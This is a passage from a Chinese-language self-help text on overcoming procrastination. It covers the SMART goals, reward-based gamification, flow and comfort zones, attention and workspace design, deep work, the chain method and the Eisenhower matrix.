原则的指导下,我成功地优化了我的程序,比原先的性能提高了 30%。这个过程并没有花费我太多的精力和意志力,而是通过合理拆分任务,制定明确的计划,并逐步实施,达成了目标。 让我们来回顾一下 SMART 原则的五个要素:任务目标必须具体、可衡量、可实施、相关性强、时间限制明确。 在任务管理的流程中,我们已经了解了如何用 SMART 原则来拆分任务和制定计划。然而,在实际执行中,有时候我们可能会遇到一些之前没有预料到的问题,导致结果不尽如人意。这时候,我们需要在每个任务结点之后进行复盘反馈。可以多问问自己以下问题:「我做了什么?」、「是否达到预期目标?」、「举例目标还有多远?」、「什么完成或未完成任务?」、「遇到什么棘手的问题?」、「这个问题我能独立解决吗?」、「如果无法独立解决,应该找谁解决?」、「接下来我要怎么做」。 如果能够进行这样的复盘,那么你已经做得非常出色了。但是,这样的复盘往往没有纠正和执行的标准,而 SMART 原则提供了一套标准化的衡量方式。那么,如何使用 SMART 原则及时评估、调整和修正任务呢?根据 S-M-A-R-T(具体、可衡量、可操作、相关性、时间限制)这五个标准,可以从以下五个方面进行考量: 任务目标是否过于模糊,让人难以实施。 任务目标是否无法量化,让人难以看到效果。 任务目标是否过于远大,让人望而生畏。 根据大目标设定的计划,或在执行计划时是否偏离了目标。 每项任务是否设定了合理的期限,以激励自己在规定的时间内按时完成任务。 下面是通过 SMART 原则拆分任务的一个示例。 成功螺旋法 自信即动力 Piers Steel 指出,如果你能给自己设定一系列可达成的挑战目标,你就会充满动力。这是因为每当你完成一个小目标时,你就会获得一定的自信,而增长的自信会带领你向更高的目标迈进。 同时,当你在某个领域取得成功时,你也会更有信心去挑战其他领域,并且更容易成功。因此,建议你设定一些小目标并逐步完成它们,这将帮助你增强自信并激发前进的动力。 需要注意的是,这里有两个关键点。第一,你需要设置可达到的、阶梯上升的小目标,并不断去实现它们,以达到成功螺旋的效应。第二,一旦你在某个领域取得了小成功,你在这个领域建立起的自信和成功感,就可以被迁移到其他你需要的地方。这也就是为什么成功人士通常在多个领域都取得成功的原因。 制定小目标 这个方法的第一个特点是给自己设置可达到的、阶梯上升的小目标,并且共有四个步骤: 设置一个足够小的起始目标。 每次比原计划超额完成一点点。 给自己一点回报。 当你觉得自己已经养成习惯,或者对这项任务已经很熟练的时候,给自己设置下一个有挑战的目标。 这个方法的第二个特点是游戏化,即将每个任务都碎成粉末,每一粒粉末都非常容易达成。在生活和工作中,你可以将大任务拆成小块,使其容易完成,从而降低自己对任务的恐惧感,同时也能让自己不断体验到完成任务的成就感,进而追求更难的任务。 举个例子,如果你计划早上吃早餐、健身,但是已经习惯了睡到卡点上班,你可以将任务分解为早上做一个俯卧撑。如果你的目标是阅读一本书,但已经很久没有打开一本书,你可以将目标细分为每天读一定的页数,从而让自己逐步养成习惯。此外,不要忘记为自己的努力给予奖励,这可以提高自我激励,并有助于巩固习惯。 奖赏机制 游戏化思维 为什么游戏能够让你上瘾?Kevin Werbach 是《游戏化思维》的作者,他认为,大多数人类活动,比如参加考试、学习技能、从事商业活动等本身就是游戏。你需要花时间和精力去练习、提升等级、克服困难,才能变强、成为高手。然而,为什么人们对工作和学习任务不感兴趣,却容易沉迷于电脑游戏?这是因为后者的设计很好。 在游戏设计中,有三个要素很重要:目标设计、反馈和奖赏机制、心流体验。虽然游戏的终极目标只有最后一个,但是它会通过拆分终极目标,变成一个个容易上手、阶梯上升的「粉末任务」让你不断去完成,也就是我们说的「升级打怪」。如果在工作和学习中运用相同的策略,你也可以给自己设置不断进阶的「粉末任务」。 第二个重要要素是反馈和奖赏机制,也是今天的重点。游戏之所以能让你欲罢不能,是因为其中的奖赏机制能够促使你产生多巴胺动机。多巴胺是一种能让我们快乐的激素。但如果你把整个游戏化的过程理解为获得奖赏-产生多巴胺-感到快乐,那你就错了。心理学家发现,多巴胺的产生并不是在你得到奖励的时刻,也不是在得到奖励之后,而是在获得奖励之前就会产生了。 事实上,我们的大脑在有可能获利的时候,受到的刺激比最后获得奖赏的时候还要强烈。相信你有过这样的体验,你并不是因为游戏让你百爪挠心不能专心工作,而是你想玩游戏的念头让你不想坐在书桌前。 如果想要真正通过游戏化来进行正向的自我激励,就需要在工作和学习中运用这些游戏设计的因素,并且设计出能够在过程中激发人们动力的奖赏机制。这需要我们注意到多巴胺的产生与奖赏的时机有关,需要在任务完成之前就能够激发人们的动力,而不是等到任务完成后才给予奖励。 建立多巴胺动机 想要建立多巴胺动机,有两个重要因素:第一是预期奖励,也就是提前设定好奖励,让你有期待;第二是强化奖励程序,也就是让你在最希望获得奖励的时候得到这些奖励。 为什么会想要在游戏内完成极其艰难的任务或者氪金呢?因为你知道有宝贵的奖励在等待,这些提前设置好的奖励都是为了提升你去做的动力。现在每个大型游戏都有自己的官网,详细介绍游戏中的职业、技能、稀有物品、成就称号等等,以及极具挑战性的怪物掉落的极品装备,这些介绍都是为了设置奖励预期。 强化奖励程序也很重要,因为要让玩家知道什么行为能得到他们所期望的奖励,玩家才会做出游戏设计者希望他们做出的行为。游戏可以在玩家完成任务、氪金、连续登陆、掉落重要物品等等时刻发放奖励,有的游戏甚至会在每次掉落重要物品的时候,提示你距离掉落另一个宝箱或者距离角色升级这些奖励出现的时刻只剩下几分钟了。在这样的奖励程序设置下,你会乐此不疲地追逐下一个几分钟之后的奖赏,玩得上瘾。 在游戏中,我们通过奖励程序让玩家上瘾,同样的,在工作生活中,我们也可以运用奖励预期和强化程序这两个方面来让你有动力。 首先,你可以给自己设定一个奖励清单,里面包含你想要的奖励,不一定都与钱有关,也可以是你想做但又觉得在工作中不该做的事情。通过提前设定好这些奖励,就像在游戏中提前设定好掉落的装备一样,可以让你产生多巴胺动机。并且,这些奖励在后续的工作中也能继续发挥正向的作用,因为在接受工作带来的奖励时,你会不知不觉地把奖励和努力工作的行动联系起来,从而成为一种奖励。 这个过程叫做「习得性勤奋」,也就是说,你可以通过多次的「努力 - 回报 - 努力」这样的周期来培养对工作的兴趣,慢慢地爱上你的工作。 其次,我们还需要注意到奖励的程序,也就是如何奖励。在游戏中,玩家完成副本任务后会得到升级和装备的奖励,攻击对方一下就会显示掉一格血,这些都是即时反馈。但在工作学习中,需要很长时间才能知道结果,比如工作绩效和考试成绩。因此,我们需要在工作中给自己制造快速反馈,比如依照提前设置好的奖励预期,在完成一项任务之后就及时奖励自己;或者为自己的工作设置一个进度表,时刻让自己看到进度条,都是非常有效的。 总之,通过游戏化的方式,我们可以在工作生活中让自己更有动力,解决拖延症。记得给自己设置奖励预期,并为自己的工作设置一个即时反馈的强化程序,让自己在工作中保持动力和积极性。 给予恰当地奖励 我们刚刚提到了即时反馈,现在让我们来谈谈如何恰当地奖励自己。游戏化奖赏中的“强化程序”在工作中的运用有一个非常重要的注意点,那就是要合理匹配任务和奖励。这意味着你得到的奖励应该与你为完成任务所付出的努力成比例。 如果奖励太少,那么就无法激励自己;如果奖励太多,而你完成的任务又太少,那么你的初衷就会被打破。举个例子,如果你用两个星期的时间完成了一个项目,但是只奖励自己刷五分钟推特,那么这个奖励就没有起到任何激励作用。另一方面,如果你答应自己看五页书就可以追五集电视剧,那么很可能你会在两天内追完整部剧集,而书却只看了几页。 为了避免奖励和任务不成比例,我们可以使用一些小技巧,就是用不同的方式衡量任务和奖励。 对于任务,我们应该用完成的数量来衡量,比如看了多少页书或减少了多少厘米腰围;而对于奖励,我们应该用花在这件事情上的时间来衡量,比如看了几分钟的剧或者打了多长时间的游戏。例如,你可以这样跟自己说: 我只有把这两件衣服洗干净才能刷五分钟推特。 我看完了30页书,就可以获得半个小时看电视剧的时间。 我写完论文的讨论就可以出门逛一圈,买一杯咖啡等等。 这样做是为了防止你欺骗自己,因为如果反过来用时间来确定任务,而用数量来确定奖励,很可能会出现在完成任务时磨蹭拖延,浪费时间而没有完成工作,而在享受奖励时,可能会一直玩游戏,却没有限制时间。 跳出舒适圈 什么是心流 工作和学习这些需要完成的任务,往往会让你感到不舒服,因为它们的难度可能过于简单或者过于困难,这会让你感到无聊或者焦虑。相反,游戏可以通过调整难度,让你面临的任务不会太简单或太困难,从而让你很容易进入全神贯注的状态,也就是所谓的“心流”状态。 心流是由 Mihaly Csikszentmihalyi 提出的一个概念。在心流状态下,你可以全神贯注地投入某项活动中,甚至忘记时间和自我存在的感觉。研究表明,成人在工作中更容易出现心流状态,而不是在娱乐中。这是因为工作也可以像游戏一样,有目标、规则、反馈和奖赏。所以,你可以调整工作状态,让任务难度与你的能力相匹配,并集中精力应对,从而进入心流状态。 如果你想要提高生活体验,避免拖延症所带来的焦虑,你需要关注你的工作体验。毕竟,我们每天清醒的时间有一半以上都会用在工作上,因此,让工作变得有趣和充满挑战性,是非常重要的。 如果你想在工作中达到心流状态,那么你需要调节任务的难度,让自己不会感到焦虑或无聊,这样你就能够专注于当前的工作,享受这个过程所带来的乐趣。 调节任务的难度可以通过给自己设定小目标,并不断进阶来实现。对于任务过于简单的情况,你需要增加难度,走出舒适区。有些人在工作中只重复做一些基础工作,甚至像接电话、传文件、复印、扫描、发快递这种职场新人式的工作也交给他们来完成。这样的人通常会拖延或磨蹭,缺乏对工作的热情。相反,那些敢于面对挑战、工作效率高、热情高的人则会获得更多的机会。 人的能力圈和对世界的认知可以分为三个区域:舒适区、学习区和恐慌区。舒适区是指你对这个范围内的人和事都非常熟悉,有把握保持稳定的表现。待在舒适区,你会感到放松,但长期在舒适区只有重复没有挑战。学习区是指对你来说有一定挑战,因此会感到有些不适,但不至于太难受。恐慌区是指超出你能力范围太多的知识或任务,你会感到严重焦虑、恐惧,甚至可能崩溃、放弃。舒适区外的学习区,是可以让你成长的地方,而恐慌区则是需要避免的地方。 一个人的最理想状态并不是舒适区内安逸自在,也不是在恐慌区内因为负面情绪而被迫不得已地奔跑。相反,最理想的状态应该是处于舒适区和学习区的交界处。在这里,你可以保持积极的态度,但也会有轻微的焦虑感。这种状态可以不断地学习和适应新的有挑战性的事物。 走出舒适圈 第一步,需要对那些一直拖延未完成的任务进行评估,以及这些任务与个人能力之间的关系进行分析。 许多人陷入了舒适区的困境,往往对那些可以轻松胜任的任务产生了拖延情绪。这是因为他们觉得任务太无聊,对其价值感低,并且信心十足地认为可以随时完成。但是,实际工作中有许多不确定性,因此时间管理非常重要。在这种情况下,我们应该给工作赋予更高的价值感,并意识到任务完成的不确定性。这样一来,我们就可以更好地安排时间,避免小事拖延和出错。 另一方面,恐慌区的拖延源于对自己的期望过低,以及对工作的过程和结果充满了怀疑和焦虑,导致不敢行动。在这种情况下,我们需要搞清楚我们恐慌的原因,这样就可以避免被负面情绪所影响。通常,我们害怕的工作都比较复杂,因此我们应该将任务分解为可管理的部分,先完成我们擅长的部分,然后再解决我们害怕的部分。这样,我们就可以逐步地克服恐慌情绪,完成工作。 第二步是针对舒适区中的工作,尝试增加其难度,让其进入“学习区”和“舒适区”的边缘。比如,我们可以压缩时间,提高质量标准,或者在吵闹的环境中工作,以考验自己的注意力集中能力。这些小挑战对每个人来说都不一样,但可以帮助我们逐步扩大我们的舒适区,并促进我们的个人成长。 第三步是设置趋近型目标,将有挑战的任务表述成我们想要达到的成就,而不是简单地描述任务本身。这样做可以强化我们的动机,让我们更有信心和动力去完成任务。在逐渐完成小挑战的过程中,我们可以不断提高自己的自信心和实际能力,从而更好地突破舒适区。 改善焦虑情绪 了解焦虑情绪的来源 焦虑情绪是我们日常生活中经常面对的一种情绪状态。如果我们能够识别并理解焦虑情绪的来源,就能更好地控制它并将注意力集中到需要完成的任务上。我们可以通过反思自己的感受,找出触发我们焦虑情绪的具体事件或想法。有时候,我们会夸大焦虑情绪的影响,而这种放大的效果可能会让我们的焦虑更加严重。因此,当我们能够识别到这种不合理的情绪放大,就能够更容易地打破它,回归正常的思考和做事状态。 正确休息 休息对于解决拖延症也是非常重要的。然而,很多人对休息有一些误解,认为休息就必须做一些特别有意义或有趣的事情。事实上,只要是能让我们放松、愉悦的事情,都可以是休息。不同人有不同的放松方式,例如发呆、散步、看书或者做自己喜欢的事情。此外,在计划的放松时间内,如果我们仍然感到焦虑或者不愿意放松,不妨让自己去完成一些工作或者任务。有时候,强迫自己放松反而会让我们更加焦虑和不安。因此,允许自己不放松,也是一种放松的方式。 奖励自己 奖励自己是一种激励自己完成任务的方式。然而,很多人在奖励自己时会出现困难,因为他们不知道自己真正想要的是什么。因此,首先要找到自己的感兴趣,明确自己真正想要的事情、物品、人是什么。当我们找到了自己真正想要的东西,我们会更有动力去完成任务,并更有可能获得成功。奖励的形式可以多样化,只要是对于我们来说有意义且有吸引力的,就可以成为我们的奖励。随着我们成长和变化,奖励的形式也会发生改变。 营造工作环境 提高专注力 让我们一起回忆一下一个场景,想象你在大学的课堂上。一个夏天的午后,外面的知了不停地叫着,你坐在教室里,看着头顶上的电风扇快速旋转,感到有些无聊。你开始回想昨天晚上看的电视节目,思考同桌今天是否穿了新衣服,甚至开始想妈妈今晚准备做什么菜……突然,你的数学老师用她手中的尺子敲了敲黑板,高声大喊:”认真听课!” 你仿佛被电击了一下,全身一下子变得警觉起来,注意力瞬间被拉回到了教室中。你立刻重新专心地听老师讲解那些课题。 这个例子典型地展示了注意力从分散到集中的过程。 想要了解如何提高注意力的集中程度,首先我们需要了解什么是注意力。根据心理学研究,注意力主要由两个要素构成: 第一个要素是注意的对象,也就是你所关注的事物。第二个要素是你的心理活动如何指向和集中于这个对象。 在上面的例子中,当数学老师怒吼一声时,你的关注点从电风扇、知了的叫声,以及其他无关的事物上移开,转而集中在老师正在讲解的数学题上。这时,数学题和老师成为你的注意对象;同时,老师的怒吼也引导你的思绪和心理活动从电风扇、知了转移到了老师和数学题上,这就是第二个要素——心理活动的指向和集中。 通过以上分析,你可以发现,首先注意力是可以被控制的。通过老师的督促,你的注意力重新回到了学习上。同样地,在工作和生活中,你也可以学会调动注意力,将其集中在重要的任务上。 其次,老师通过一声"请集中注意听讲",提示你的注意对象是数学题,心理活动应该集中在黑板上。于是,你游离的注意力立刻回到了正轨。那么在平常的工作和生活中,你是否也可以运用一些技巧来增强和提醒自己,明确当前的注意对象以及将心理活动集中在何处呢? 提升注意力 创造适合工作的环境。 通过"仪式感"强化你的行为。 我们都知道磁铁可以产生磁场,当铁屑或小图钉靠近磁铁时,会受到磁场的吸引力,磁场越强大,吸引力就越强。 Kurt Lewin 提出了“场动力”理论,认为每个人都身处于自己的"心理场"之中。简单来说,就是人们在特定的空间环境中会受到各种因素的影响,这些因素会对我们的心理和行为产生作用。 或许这听起来有些奇怪,但事实上,你所处的环境中包含了一些你没有意识到的行为线索,而这些线索会激发你在这个环境中做出特定的行为。 让我举几个简单的例子,你很快就能理解周围的环境对你行为的影响: 当你身处嘈杂的网吧时,你会想做什么?当然是打游戏。 走进安静的办公室或图书馆,你会有什么想法?工作或学习。 当你来到温暖舒适的卧室,你会想做什么?当然是睡觉。 这些答案几乎会立即闪现在你的脑海中,因为这些地方中的行为线索对你来说是自然而然的。 原因在于,网吧里闪烁的游戏画面、办公室里忙碌工作的同事、图书馆中充满书本的氛围以及卧室中的床,都是这些环境中潜在的行为线索。在这样的线索和刺激下,你更容易做出与该环境相符的行为。 相反地,如果你在嘈杂的网吧里想睡觉,在忙碌的办公室里玩游戏,在温暖的卧室中学习...你会感到非常不舒服,无法集中注意力。这就是不同环境对你行为的影响。 在我们日常的生活和工作中,如何利用环境的力量来有效集中注意力呢?简单来说,就是主动创造一个有利于完成任务的环境,并利用环境的力量来推动我们完成任务。在这里,为了更好地理解,我们可以给环境一个更具体的定义,即「空间的功能分区」。 也许你有过这样的经历:下班后总想学点东西,但一旦吃完饭,你就蜷缩在沙发或卧室里,看着剧集或刷着手机,时间悄悄溜走,转眼已经很晚了。你感到后悔,但好像无法摆脱这个困境。 这是因为你的大脑将沙发和卧室视为休息和娱乐的地方。在休息的「功能区」里努力工作,显然会事倍功半。 你可以对自己的住宅进行合理规划。无论房子的大小,你都可以将其划分为不同的功能区域:比如将卧室仅用于休息和睡眠,尽量使用柔和的光线;客厅用于会客和放松;如果需要在家学习或工作,可以设置一个工作区或阅读角,将书桌、电脑等办公用品放在至少看不见床的地方,并配置明亮的台灯或白炽灯,以激励自己保持专注。 在进行这样的调整后,你可以在工作区域工作,在休息区域休息。这样特定环境的环境能够帮助你的大脑自动切换模式,快速进入所需的状态。相信不久之后,你会发现不仅工作不再拖延,效率也会提高,同时睡眠质量也会得到改善。 此外,如果你觉得在家里仍然存在太多诱惑,你可以继续切换环境,例如图书馆或有办公氛围的咖啡厅。这是因为一个影响环境的重要因素就是人的行为。当周围有更多的人,而且这些人都在进行相似的行为时,环境的力量也会更加强大。 当你看到周围的人都专注地工作时,你自然也会更加努力地投入工作。这就是为什么许多人说高中三年是他们最努力的时光,因为在那段时间里,教室成为了一个强大的学习环境,每个人都专心致志地学习。 节约注意力 相同天赋、结果不同 相同天赋的小明和小红,却走向了不同的结局。让我先讲一个小故事来说明这个问题。在我上学时期,有两个非常聪明的好朋友,他们分别是小明和小红。他们考入中学时一个排名第一,一个排名第二。由于他们在各个方面都表现出色,自然而然地得到了许多机会。 小明参加了各种活动,他参加了数学竞赛、物理竞赛、化学竞赛,甚至还主持了节目。你可能会看到他站在台上,然后又听说他去参加围棋比赛了。相比之下,小红则低调得多。她对数学特别感兴趣,专心致志地参加数学竞赛,将其他活动都搁置了一边。 高中毕业后,小红通过数学竞赛进入了国家队,并被保送到了清华大学。而小明由于各项竞赛成绩一般,没有获得保送资格,高考成绩也失常了,只能进入一所普通的大学。 事实上,小明看似参加了很多比赛,非常光鲜。然而,他实际上拖延做数学竞赛的训练题,总是找借口说自己正忙于物理竞赛;在物理竞赛训练时,他也经常请假,说自己正好有围棋比赛要参加。结果是,他没有把重要的事情做好。 如今已经过去了将近十年,小红依然坚持着自己的目标。她专心致志地从事学术研究,获得了美国最好的计算机学院的博士学位,多家世界顶级企业争相聘请她。 而小明却不知道自己想要什么,他花费了大量精力参加各种活动,频繁换工作,却一直没有取得成果。渐渐地,他在人们中间黯然失色。 为什么同样天赋的小明和小红走向了不同的结局呢?Daniel Kahneman 的注意资源理论给出了一个很好的解释。 他在他的著作《思考,快与慢》中提出了一个观点:人的注意资源是有限的。注意力具有指向性和集中性,调动注意力会消耗我们的生理和心理能量。 因此,在日常工作和生活中,我们对注意力的分配可以看作是对一种有限资源和能量的分配。任务越多、越复杂,耗费的注意资源就越多;任务越简单,耗费的注意资源也就越少。 为了更好地理解这个概念,我给你举个例子:我们的大脑就像一部手机,而注意资源就相当于手机的内存,各种需要解决的任务就像手机上的各种应用程序。如果手机同时开启了太多的应用程序,手机就会变慢甚至死机。同样地,当我们的大脑同时关注过多的任务时,注意资源就会不够用,大脑也会变慢、出现瓶颈。 这就解释了为什么当你正在着急开发一个项目,而经理突然催你去找文件,同事发来消息询问中午要点什么外卖,小孩的班主任又打来电话让你下午去一趟时,你会感到计划一乱团、头痛欲裂的情况。因为这些任务在争夺你的注意资源,而注意资源一旦分散,你自然就容易失去重点和应该做的事情。当你忙于处理那些并不重要的任务时,本应专注完成的重要任务自然会被拖延。 回到之前我与你分享的例子,你可以明显看出:小明是那种同时开了太多应用程序的人,分散了注意资源,重要且应该完成的事情一拖再拖,结果就是什么都没做成。 清理多余信息 在高效利用注意力资源方面,我们需要合理管理自己的注意力,减少不必要的任务,并保留对最重要任务的专注。这种策略被Cal Newport称为"深度工作",即能够在某些领域中排除干扰,专注于任务的状态。深度工作通常有两种典型模式:禁欲主义模式和节奏模式。接下来,我会详细解释这两种模式。 禁欲主义模式 首先,我们来谈谈禁欲主义模式。禁欲主义模式采取了较为极端的方式,即屏蔽一切可能的干扰信息,只专注于与目标相关的任务。当你的生活中只剩下极少的几项任务时,你就能够更好地深入专研目标。 如果你有一项非常重要的短期目标,比如渴望通过一次技术认证考试。在这种情况下,你可以为自己设定一个为期两个月的"禁欲主义模式",全身心地投入其中。相比于犹豫、拖延,并告诉自己没有时间而错失机会,采取禁欲主义模式能够取得更好的效果。 就以我的一个朋友为例子来说,他就采用了“禁欲主义模式”。他报名参加了一个专业的培训课进行学习,取消了其它的社交活动,生活除了上课、吃饭和睡觉,目标是计划拿到大厂的 offer。 经过三个月左右的学习,他的技术和能力和之前相比有大幅增长,后来凭着优异的能力获得了理想的公司的职位。 这个例子充分展示了减少不必要任务、集中注意力资源的威力。 节奏模式 我们常常需要找到深度工作和日常琐碎任务之间的平衡,这就是节奏模式的概念。在现实生活中,我们往往无法完全掌控时间,会受到各种突发事件和琐事的干扰,这时候就需要采取节奏模式来应对。 节奏模式包含两个重要方面。首先,我们需要在每天的日程计划中精确安排时间,尽可能创造连续的时间块,专注于重要任务,同时排除外界的干扰。这意味着我们要在工作中划定出专注的时间段,将其他琐事暂时放在一边。 其次,如果我们有一个长期的目标或计划,比如学习英语或写文章,我们需要激励自己每天保持一定时间的深度工作习惯,不断积累在核心任务上的时间。 为了更好地利用工作时间,我建议你充分利用上班时间的8小时。许多人晚上加班的原因之一是白天没有有效利用连续的时间块,而是被许多琐碎的任务所打断。例如,回复同事的紧急求助、处理突然而至的工作邮件以及无休止的社交媒体浏览。 你有没有想过自己每天在回复消息和浏览社交软件上花费了多少时间?有一项调查显示,这些碎片化的时间加起来可能达到 3-4 小时。你可以尝试查看一下自己手机中各个应用程序的使用时长,这可能会让你大吃一惊。 除了监控手机软件的使用情况之外,我还要分享一个方法,关闭软件的推送通知。当你需要进行专注工作时,只打开与工作相关的软件界面,完成任务。你可以设定一个小时的时间限制,工作结束后再集中回复社交软件、邮件等信息。 不断弹出的通知信息只会占用和浪费你的注意力。如果你想要高效完成任务并克服拖延,你需要学会放弃这些干扰。你会发现,在这些琐事中,真正重要的信息数量并不值得你浪费大量时间和注意力资源。 链条法 除了在相对整块的时间里排除干扰只做一件事,对于节奏模式的第二个方面,即如何在较长时间内持续激励自己并平衡注意力分配,我推荐你使用「链条法」。 所谓「链条法」,就是把长期任务看作一条链。在执行过程中,只要完成当天应完成的任务量,就在日历上画一个 X。随着时间的推移,这些 X 将连成一条链的形状。你的目标是确保日历上划出的链条不断延伸下去。 这就像是在日历上给自己打卡,将你的努力以直观的方式「可视化」呈现出来,既是对自己的激励,也是给自己加油打气。 这个「链条」提醒着你每天都要腾出时间继续你的长期计划。如果今天还没有做到,就要排除其他不那么重要任务的干扰,让你的注意力专注在目标上。 通过「链条法」,你不仅可以跟踪自己的进度,还可以清晰地看到自己的持续努力。它帮助你保持动力,坚持每天向目标迈进,不再拖延或丧失动力。 清理环境 也许你从未想过,但房间里的多余物品实际上也会占用你的注意力资源。为了更好地利用你的专注力,你需要学会清理冗余信息。这些冗余信息包括我们之前提到的「节奏模式」中涉及的手机软件、社交软件、电子邮箱等网络信息,还包括你可能没有注意到的环境信息。 很多人在开始工作之前都喜欢整理房间或工作台。他们会清除掉不需要的物品,因为在摆脱这些物品之后,他们会感到身心轻松,能够更好地专注于工作。这其背后的原理就是清理无关信息的重要性。 正如我们之前所讲,环境可以为你创造一个特定的「环境」。有着良好工作氛围的环境能够唤醒你的大脑,帮助你进入工作状态。相反,杂乱无序的环境会消耗你的大脑资源,使你不得不处理那些不必要的干扰,从而无法集中精力完成工作。 下次当你感觉不想工作时,我建议你从整理书桌和清除过期食品开始。这些小小的举动会帮助你营造一个整洁有序的工作环境,减少无关信息的干扰,并为你提供一个更好的工作体验。 通过清理无关信息,你将会发现自己能够更好地专注于任务,提高工作效率,并克服拖延症带来的困扰。记住,一个清爽的环境有助于清晰思考,让你的大脑更好地服务于你的目标。所以,从现在开始,清扫掉那些无关的信息和物品,为自己创造一个有利于高效工作的环境。 艾森豪威尔矩阵 越忙越低效 越忙碌,效率却越低下。这种现象的原因在于你没有正确地分配时间。 三个关键点:(1)什么是艾森豪威尔矩阵,(2)如何使用这个矩阵,(3)如何重新构建你的时间矩阵。 请允许我猜测一下,你是否经常有这样的感受:每天都忙忙碌碌,付出了很多努力,但到了一天结束时,却发现自己没有完成任何重要的事情,只能将它们推迟到明天。如果我的猜测正确,那么你可能正陷入了像我以前的同事小明一样的困境,即由于时间管理不善而陷入拖延的怪圈。 小明他似乎永远都在忙碌。从早上到坐下办公室,他从未停下过脚步,全公司都知道他每天加班,忙到深夜。按理说,小明如此努力,理应升职加薪才对。然而,事实并非如此。当时,人力资源部私下里询问我的意见,是否应该解雇小明。 为什么会这样呢?因为小明在公司的业绩垫底,他的工作表现实在糟糕透顶。我后来去了解了一下小明的情况,发现他每天用在重要工作上的时间非常有限。他花费大部分时间接听工作电话,和同事沟通方案,帮助同事设计表格、还参加各个大的小的会议和学习以及团建活动。这些看似即将处理的琐事,但仔细想想,很多并不是真正重要的事情。 因此,小明似乎每天都有人找他处理紧急事务,但正因为忙于这些看似紧急的琐事,他忽略了为「重要事务」安排时间的重要性。他所犯的错误是时间管理上最容易陷入的一个误区,即在「紧急但不重要」的事情上花费了大量的时间。 高效时间管理 这个矩阵为我们提供了解决时间管理难题的方法,帮助我们高效地安排任务时间。 你或许对“艾森豪威尔”这个名字有些耳熟。艾森豪威尔是美国第 34 任总统,他在成为总统之前就以成功指挥诺曼底登陆行动而闻名,为二战的胜利打下了基础。然而,你可能不知道的是,他还是一位备受推崇的时间管理大师。 众所周知,总统的工作极其繁忙,而艾森豪威尔为了合理安排自己的工作和生活,发明了一种时间管理工具。他在纸上画了一个“十字”,将纸面分为四个象限,横轴代表“紧急性”,纵轴代表“重要性”。这样,我们手头的任务可以根据其“紧急性”和“重要性”被归类到这四个象限中。 为什么要按照“重要性”和“紧急性”对任务进行分类呢?因为这样可以帮助我们确定哪些任务需要优先安排时间。我将举几个例子来解释艾森豪威尔矩阵的使用方法,相信你会更清楚: 第一象限包含重要且紧急的任务,这些任务对你来说至关重要,而且有明确的截止期限。例如,准备明天会议的发言稿、陪孩子去医院治疗、在下班前需要完成的项目计划等。对于这些任务,你需要立即行动并迅速完成。 第二象限则包括重要但不紧急的任务,这些任务对你来说很重要,但没有明确的完成期限,或者完成期限较长。例如,跟进长期项目的每周进展、为家人购买必要的保险、提升自己的英语水平等。 这些任务由于不紧急,往往容易被忽视和拖延,直到它们变成“重要且紧急”的任务。例如,因为没有时间跟进项目导致延误截止日期,没有购买保险导致家庭面临风险,平时没有学习英语,机会来临时才匆忙应对,这就是为什么在时间管理中,我们应该尽量将时间投入到第二象限中,也就是那些重要但不紧急的事务上。 艾森豪威尔曾经说过:“最紧迫的决策通常不是最重要的。”这句话的含义是,你需要识别出真正重要、对你的工作和生活具有战略影响的事情。而这些事情往往是“重要但不紧急”的事务。 第三象限包含紧急但不重要的事务,即那些对你来说并不那么重要,但却看似需要立即完成的任务。例如,每天忙于接待来访的客人、协助同事设计表格、参加各种会议、论坛和活动等。这些事情让我们每天都感觉非常忙碌,但最终却发现一天结束时几乎没有做重要的事情。 针对这类任务,你应该尽量节省时间,将琐事交给他人处理,或者集中一段时间来处理这些事务。对于那些可以选择参与或不参与且会占用大量时间的活动,你要坚定地说“谢谢”,然后拒绝参与。请记住,正是因为我们花太多时间处理第三象限的琐事,才导致我们没有时间去做第一象限和第二象限中真正需要做的事情。 最后是第四象限,包含那些既不重要也不紧急的事务,也就是那些可以不做的琐碎任务。例如,看完一部电视剧,去尝试新开的网红餐厅,或者浏览社交软件。如果你将大部分时间都用在这些事情上,你需要考虑一下是否真的没有更重要的事情需要处理,或者是在拖延时间。 重构森豪威尔矩阵 许多人只知道如何使用艾森豪威尔矩阵来安排时间,但在实际应用中却无法有效处理各种任务。我将帮助你解决这个问题,重新塑造艾森豪威尔矩阵,以优化工作任务和时间管理。 在重构之前,不妨思考一下,根据我们之前的讲解,最理想的矩阵应该是什么样子的?是不是希望事务尽可能分布在"重要但不紧急"这个象限中? 如果一个人的任务都是重要且紧急的,那每天都会被各种截止日期逼迫,根本喘不过气来,许多事情只能草率应付;如果一个人的任务都是不重要但紧急的,那就是我们前面提到的例子中的小明,整天忙碌却实际上什么也没有完成;如果一个人只有不重要又不紧急的任务,那可能就是无所事事。 而当一个人的任务大多都是重要但不紧急的,意味着他既有明确的目标,又有合理的规划。那么,我们该如何改造自己的矩阵,将其变为只剩下"重要但不紧急"部分的理想状态呢? 总共有两个步骤:(1)划掉横向的"不重要"两个象限,舍弃不重要的事;(2)减少紧急任务。 首先是第一步,舍弃不重要的事。无论紧急与否,不重要的事情只会占用你的时间和注意力资源,"少",意味着高效。这个原则在这里同样适用。关于如何舍弃不重要的事,我给你两个小方法。 第一个小方法叫做"一天只做最重要的三件事"。它的核心思想是,如果你每天感觉有很多事情要做,不知道如何选择,那就将它们都写下来。然后从中挑出最重要的三件事,按优先级排列,依次去完成。当然,在这个过程中,你可以插入一些紧急且必须完成的事项,但是确保完成这三件事是你今天的首要目标。 如果你成功完成了这三件事,你可以继续处理清单中剩下的事项中最重要的事情。第二天,再列一个清单,同样选择并完成其中最重要的三件事。如此循环下去,你就能确保每天都完成最重要的事情,而那些被列在清单底部的事项,如果在一周后仍未上升到前列,你会发现它们可能是可以被舍弃的不重要事项,对于不做它们也并非至关重要。 这个方法非常实用,慢慢地你会发现,一天专注于完成最重要的三件事,效果比整天四处忙碌、毫无章法的忙碌要好得多。 第二个小方法叫做"拒绝他人不合理的要求"。在舍弃不重要事项的过程中,我们难免需要对他人说"不"。许多人会觉得,别人向我们请求帮忙本身就是重要的事情,我们应该帮助他们。但事实是,我们每天平均会浪费2小时在无效的社交上。学会拒绝他人不合理的要求,才能成为一个能够判断事务轻重、清醒地生活的人。 如果你总是无法拒绝别人,我教你三个判断标准:(1)对方对你的重要性,(2)对方对此事的重要性,(3)你是否能够胜任。只要这三个问题中至少有一个答案是肯定的,那么才值得你去做。否则,尝试坚定地说"不"。 例如,对于那些偷懒却借口不懂、不会或没有时间的同事,或者那些因为你擅长某项技能而免费请你帮忙的朋友,学会拒绝吧。不要让这些事情占据你的时间安排,成为你拖延重要事务的借口。 